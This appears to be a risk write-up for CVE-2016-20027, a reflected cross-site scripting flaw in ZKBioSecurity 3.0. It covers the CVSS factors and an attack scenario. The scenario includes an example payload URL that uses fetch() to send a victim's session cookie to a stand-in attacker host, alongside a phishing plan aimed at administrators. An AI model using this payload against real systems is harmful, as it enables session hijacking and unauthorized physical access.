Zkteco Zkbiosecurity CVE-2016-20027

While the CVSS score of 6.1 (Medium severity) reflects moderate impact, multiple factors elevate real-world risk: (1) Attack Vector is Network/unauthenticated (AV:N/PR:N), requiring only a malicious URL sent to a victim—no privilege escalation needed; (2) User Interaction is required (UI:R) but this is typical for reflected XSS and easily achieved through phishing; (3) Scope is Changed (S:C), meaning the vulnerability can impact resources beyond the vulnerable component; (4) Confidentiality and Integrity are affected (C:L/I:L), allowing session hijacking and credential theft in biometric security contexts; (5) Publicly available POC exploits exist (PacketStorm Security reference confirms active availability); (6) The vulnerability targets ZKBioSecurity, a system managing biometric authentication—compromising it could grant access to physical security systems. However, the absence of explicit KEV/CISA status and EPSS data suggests this 2016 vulnerability may have limited active exploitation today. The real-world priority depends on deployment: legacy systems still running ZKBioSecurity 3.0 face significant risk, but modern deployments should have patched years ago. This is a HIGH-PRIORITY vulnerability for any organization still using affected versions in production.

An attacker crafts a malicious URL targeting a ZKBioSecurity 3.0 instance, injecting an XSS payload into an unsanitized parameter (e.g., https://target.zk/script.asp?param=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>). The attacker sends this URL via phishing email to a ZKBioSecurity administrator. When the administrator clicks the link while authenticated to the application, the injected script executes in their browser session with the application's security context, allowing the attacker to: (1) steal the administrator's session cookie and impersonate them; (2) harvest biometric system credentials or authentication tokens; (3) modify user access permissions in the biometric system to grant unauthorized physical access; (4) redirect the administrator to a credential-harvesting page mimicking the login interface. The publicly available POC from PacketStorm Security demonstrates this attack is easily reproducible and requires minimal technical skill, making it a practical threat to vulnerable deployments.